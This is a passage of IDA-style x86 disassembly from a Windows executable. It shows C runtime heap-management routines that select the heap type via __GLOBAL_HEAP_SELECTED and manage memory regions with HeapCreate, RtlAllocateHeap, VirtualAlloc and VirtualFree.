		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_40EAF0


loc_40EADD:				; CODE XREF: sub_40EA6B+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_40EAEB
		cmp	al, 7Ah
		jg	short loc_40EAEB
		sub	al, 20h
		mov	[ecx], al


loc_40EAEB:				; CODE XREF: sub_40EA6B+76j
					; sub_40EA6B+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_40EADD


loc_40EAF0:				; CODE XREF: sub_40EA6B+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_40D450
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40EB12
		lea	eax, [ebp+var_122C]
		jmp	short loc_40EB5B
; ---------------------------------------------------------------------------


loc_40EB12:				; CODE XREF: sub_40EA6B+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	dword_41704C	; GetModuleFileNameA
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_40EB46


loc_40EB33:				; CODE XREF: sub_40EA6B+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_40EB41
		cmp	al, 7Ah
		jg	short loc_40EB41
		sub	al, 20h
		mov	[ecx], al


loc_40EB41:				; CODE XREF: sub_40EA6B+CCj
					; sub_40EA6B+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_40EB33


loc_40EB46:				; CODE XREF: sub_40EA6B+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_40CE60
		pop	ecx
		pop	ecx


loc_40EB5B:				; CODE XREF: sub_40EA6B+A5j
		cmp	eax, ebx
		jz	short loc_40EB9D
		push	2Ch
		push	eax
		call	sub_40CFC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40EB9D
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_40EB82


loc_40EB74:				; CODE XREF: sub_40EA6B+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_40EB7D
		mov	[ecx], bl
		jmp	short loc_40EB7E
; ---------------------------------------------------------------------------


loc_40EB7D:				; CODE XREF: sub_40EA6B+10Cj
		inc	ecx


loc_40EB7E:				; CODE XREF: sub_40EA6B+110j
		cmp	[ecx], bl
		jnz	short loc_40EB74


loc_40EB82:				; CODE XREF: sub_40EA6B+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_40CA5C
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_40EBB0
		cmp	eax, 3
		jz	short loc_40EBB0
		cmp	eax, 1
		jz	short loc_40EBB0


loc_40EB9D:				; CODE XREF: sub_40EA6B+5Cj
					; sub_40EA6B+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_40EA3E
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_40EBB0:				; CODE XREF: sub_40EA6B+3Ej
					; sub_40EA6B+126j ...
		pop	ebx
		leave
		retn
sub_40EA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBB3	proc near		; CODE XREF: sub_40D514+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_417130	; HeapCreate
		test	eax, eax
		mov	dword_480F84, eax
		jz	short loc_40EC09
		call	sub_40EA6B
		cmp	eax, 3
		mov	dword_480F88, eax
		jnz	short loc_40EBEF
		push	3F8h
		call	sub_40EC10
		pop	ecx
		jmp	short loc_40EBF9
; ---------------------------------------------------------------------------


loc_40EBEF:				; CODE XREF: sub_40EBB3+2Dj
		cmp	eax, 2
		jnz	short loc_40EC0C
		call	sub_40F757


loc_40EBF9:				; CODE XREF: sub_40EBB3+3Aj
		test	eax, eax
		jnz	short loc_40EC0C
		push	dword_480F84
		call	dword_41712C	; HeapDestroy


loc_40EC09:				; CODE XREF: sub_40EBB3+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40EC0C:				; CODE XREF: sub_40EBB3+3Fj
					; sub_40EBB3+48j
		push	1
		pop	eax
		retn
sub_40EBB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EC10	proc near		; CODE XREF: sub_40EBB3+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_480F84
		call	dword_417104	; RtlAllocateHeap
		test	eax, eax
		mov	dword_480F7C, eax
		jnz	short loc_40EC2D
		retn
; ---------------------------------------------------------------------------


loc_40EC2D:				; CODE XREF: sub_40EC10+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_480F74, 0
		and	dword_480F78, 0
		push	1
		mov	dword_480F70, eax
		mov	dword_480F80, ecx
		mov	dword_480F68, 10h
		pop	eax
		retn
sub_40EC10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EC58	proc near		; CODE XREF: sub_40B771+17p
					; sub_40C4F8+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_480F78
		lea	ecx, [eax+eax*4]
		mov	eax, dword_480F7C
		lea	ecx, [eax+ecx*4]


loc_40EC68:				; CODE XREF: sub_40EC58+26j
		cmp	eax, ecx
		jnb	short loc_40EC80
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_40EC82
		add	eax, 14h
		jmp	short loc_40EC68
; ---------------------------------------------------------------------------


loc_40EC80:				; CODE XREF: sub_40EC58+12j
		xor	eax, eax

locret_40EC82:				; CODE XREF: sub_40EC58+21j
		retn
sub_40EC58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC83	proc near		; CODE XREF: sub_40B771+23p
					; sub_40C4F8+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_40EFA7
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_40ED59
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_40ECE7
		push	3Fh
		pop	edx


loc_40ECE7:				; CODE XREF: sub_40EC83+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_40ED3B
		cmp	edx, 20h
		jnb	short loc_40ED12
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40ED33
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_40ED33
; ---------------------------------------------------------------------------


loc_40ED12:				; CODE XREF: sub_40EC83+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_40ED33
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_40ED33:				; CODE XREF: sub_40EC83+86j
					; sub_40EC83+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_40ED3E
; ---------------------------------------------------------------------------


loc_40ED3B:				; CODE XREF: sub_40EC83+6Aj
		mov	ecx, [ebp+var_4]


loc_40ED3E:				; CODE XREF: sub_40EC83+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_40ED59:				; CODE XREF: sub_40EC83+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_40ED67
		push	3Fh
		pop	edx


loc_40ED67:				; CODE XREF: sub_40EC83+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_40EE0A
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_40ED8C
		mov	ebx, esi


loc_40ED8C:				; CODE XREF: sub_40EC83+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_40ED9E
		mov	edx, esi


loc_40ED9E:				; CODE XREF: sub_40EC83+117j
		cmp	ebx, edx
		jz	short loc_40EE05
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_40EDED
		cmp	ebx, 20h
		jnb	short loc_40EDCE
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_40EDED
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_40EDED
; ---------------------------------------------------------------------------


loc_40EDCE:				; CODE XREF: sub_40EC83+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_40EDED
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_40EDED:				; CODE XREF: sub_40EC83+128j
					; sub_40EC83+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_40EE05:				; CODE XREF: sub_40EC83+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_40EE0D
; ---------------------------------------------------------------------------


loc_40EE0A:				; CODE XREF: sub_40EC83+EDj
		mov	ebx, [ebp+arg_0]


loc_40EE0D:				; CODE XREF: sub_40EC83+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_40EE1B
		cmp	ebx, edx
		jz	loc_40EE9C


loc_40EE1B:				; CODE XREF: sub_40EC83+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_40EE9C
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_40EE73
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_40EE62
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_40EE62:				; CODE XREF: sub_40EC83+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_40EE9C
; ---------------------------------------------------------------------------


loc_40EE73:				; CODE XREF: sub_40EC83+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_40EE89
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_40EE89:				; CODE XREF: sub_40EC83+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_40EE9C:				; CODE XREF: sub_40EC83+192j
					; sub_40EC83+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_40EFA7
		mov	eax, dword_480F74
		test	eax, eax
		jz	loc_40EF99
		mov	ecx, dword_480F6C
		mov	esi, dword_417134
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_480F6C
		mov	eax, dword_480F74
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_480F74
		mov	ecx, dword_480F6C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_480F74
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_480F74
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_40EF2A
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_480F74


loc_40EF2A:				; CODE XREF: sub_40EC83+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_40EF99
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_480F74
		push	dword ptr [eax+10h]
		push	0
		push	dword_480F84
		call	dword_417108	; RtlFreeHeap
		mov	eax, dword_480F78
		mov	edx, dword_480F7C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_480F74
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_40BE50
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_480F78
		cmp	eax, dword_480F74
		jbe	short loc_40EF8F
		sub	[ebp+arg_0], 14h


loc_40EF8F:				; CODE XREF: sub_40EC83+306j
		mov	eax, dword_480F7C
		mov	dword_480F70, eax


loc_40EF99:				; CODE XREF: sub_40EC83+234j
					; sub_40EC83+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_480F6C, edi
		mov	dword_480F74, eax


loc_40EFA7:				; CODE XREF: sub_40EC83+38j
					; sub_40EC83+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EC83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EFAC	proc near		; CODE XREF: sub_40B6FD+18p
					; sub_40C4F8+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_480F78
		mov	edx, dword_480F7C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_40EFEC
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_40EFFC
; ---------------------------------------------------------------------------


loc_40EFEC:				; CODE XREF: sub_40EFAC+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_40EFFC:				; CODE XREF: sub_40EFAC+3Ej
		mov	eax, dword_480F70
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_40F023


loc_40F00A:				; CODE XREF: sub_40EFAC+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_40F023
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_40F00A


loc_40F023:				; CODE XREF: sub_40EFAC+5Cj
					; sub_40EFAC+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_40F0A1
		mov	ebx, edx


loc_40F02A:				; CODE XREF: sub_40EFAC+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_40F046
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_40F044
		add	ebx, 14h
		jmp	short loc_40F02A
; ---------------------------------------------------------------------------


loc_40F044:				; CODE XREF: sub_40EFAC+91j
		cmp	ebx, eax


loc_40F046:				; CODE XREF: sub_40EFAC+83j
		jnz	short loc_40F0A1


loc_40F048:				; CODE XREF: sub_40EFAC+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_40F05E
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_40F05B
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_40F048
; ---------------------------------------------------------------------------


loc_40F05B:				; CODE XREF: sub_40EFAC+A5j
		cmp	ebx, [ebp+var_4]


loc_40F05E:				; CODE XREF: sub_40EFAC+9Fj
		jnz	short loc_40F086
		mov	ebx, edx


loc_40F062:				; CODE XREF: sub_40EFAC+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_40F076
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_40F074
		add	ebx, 14h
		jmp	short loc_40F062
; ---------------------------------------------------------------------------


loc_40F074:				; CODE XREF: sub_40EFAC+C1j
		cmp	ebx, eax


loc_40F076:				; CODE XREF: sub_40EFAC+BBj
		jnz	short loc_40F086
		call	sub_40F2B5
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_40F09A


loc_40F086:				; CODE XREF: sub_40EFAC:loc_40F05Ej
					; sub_40EFAC:loc_40F076j
		push	ebx
		call	sub_40F366
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_40F0A1


loc_40F09A:				; CODE XREF: sub_40EFAC+D8j
		xor	eax, eax
		jmp	loc_40F2B0
; ---------------------------------------------------------------------------


loc_40F0A1:				; CODE XREF: sub_40EFAC+7Aj
					; sub_40EFAC:loc_40F046j ...
		mov	dword_480F70, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_40F0C8
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_40F0FF


loc_40F0C8:				; CODE XREF: sub_40EFAC+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_40F0FC


loc_40F0E5:				; CODE XREF: sub_40EFAC+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_40F0E5


loc_40F0FC:				; CODE XREF: sub_40EFAC+137j
		mov	edx, [ebp+var_4]


loc_40F0FF:				; CODE XREF: sub_40EFAC+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_40F128
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_40F128:				; CODE XREF: sub_40EFAC+16Dj
					; sub_40EFAC+183j
		test	ecx, ecx
		jl	short loc_40F131
		shl	ecx, 1
		inc	edi
		jmp	short loc_40F128
; ---------------------------------------------------------------------------


loc_40F131:				; CODE XREF: sub_40EFAC+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_40F14E
		push	3Fh
		pop	esi


loc_40F14E:				; CODE XREF: sub_40EFAC+19Dj
		cmp	esi, edi
		jz	loc_40F263
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_40F1BF
		cmp	edi, 20h
		jge	short loc_40F18E
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_40F1BC
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_40F1BF
; ---------------------------------------------------------------------------


loc_40F18E:				; CODE XREF: sub_40EFAC+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_40F1BC
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_40F1BF
; ---------------------------------------------------------------------------


loc_40F1BC:				; CODE XREF: sub_40EFAC+1D6j
					; sub_40EFAC+203j
		mov	ebx, [ebp+arg_0]


loc_40F1BF:				; CODE XREF: sub_40EFAC+1B0j
					; sub_40EFAC+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_40F26F
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_40F260
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_40F231
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_40F21F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_40F21F:				; CODE XREF: sub_40EFAC+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_40F260
; ---------------------------------------------------------------------------


loc_40F231:				; CODE XREF: sub_40EFAC+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_40F24A
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_40F24A:				; CODE XREF: sub_40EFAC+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_40F260:				; CODE XREF: sub_40EFAC+24Ej
					; sub_40EFAC+283j
		mov	ecx, [ebp+var_8]


loc_40F263:				; CODE XREF: sub_40EFAC+1A4j
		test	ecx, ecx
		jz	short loc_40F272
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_40F272
; ---------------------------------------------------------------------------


loc_40F26F:				; CODE XREF: sub_40EFAC+229j
		mov	ecx, [ebp+var_8]


loc_40F272:				; CODE XREF: sub_40EFAC+2B9j
					; sub_40EFAC+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_40F2A8
		cmp	ebx, dword_480F74
		jnz	short loc_40F2A8
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_480F6C
		jnz	short loc_40F2A8
		and	dword_480F74, 0


loc_40F2A8:				; CODE XREF: sub_40EFAC+2E0j
					; sub_40EFAC+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_40F2B0:				; CODE XREF: sub_40EFAC+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EFAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F2B5	proc near		; CODE XREF: sub_40EFAC+CCp
		mov	eax, dword_480F78
		mov	ecx, dword_480F68
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_40F2F8
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_480F7C
		push	edi
		push	dword_480F84
		call	dword_417110	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_40F348
		add	dword_480F68, 10h
		mov	dword_480F7C, eax
		mov	eax, dword_480F78


loc_40F2F8:				; CODE XREF: sub_40F2B5+11j
		mov	ecx, dword_480F7C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_480F84
		lea	esi, [ecx+eax*4]
		call	dword_417104	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_40F348
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_417138	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_40F34C
		push	dword ptr [esi+10h]
		push	edi
		push	dword_480F84
		call	dword_417108	; RtlFreeHeap


loc_40F348:				; CODE XREF: sub_40F2B5+30j
					; sub_40F2B5+67j
		xor	eax, eax
		jmp	short loc_40F363
; ---------------------------------------------------------------------------


loc_40F34C:				; CODE XREF: sub_40F2B5+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_480F78
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_40F363:				; CODE XREF: sub_40F2B5+95j
		pop	edi
		pop	esi
		retn
sub_40F2B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F366	proc near		; CODE XREF: sub_40EFAC+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_40F378:				; CODE XREF: sub_40F366+19j
		test	eax, eax
		jl	short loc_40F381
		shl	eax, 1
		inc	ebx
		jmp	short loc_40F378
; ---------------------------------------------------------------------------


loc_40F381:				; CODE XREF: sub_40F366+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_40F396:				; CODE XREF: sub_40F366+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_40F396
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_417138	; VirtualAlloc
		test	eax, eax
		jnz	short loc_40F3C9
		or	eax, 0FFFFFFFFh
		jmp	loc_40F45C
; ---------------------------------------------------------------------------


loc_40F3C9:				; CODE XREF: sub_40F366+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_40F40F
		lea	eax, [edi+10h]


loc_40F3D6:				; CODE XREF: sub_40F366+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_40F3D6


loc_40F40F:				; CODE XREF: sub_40F366+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
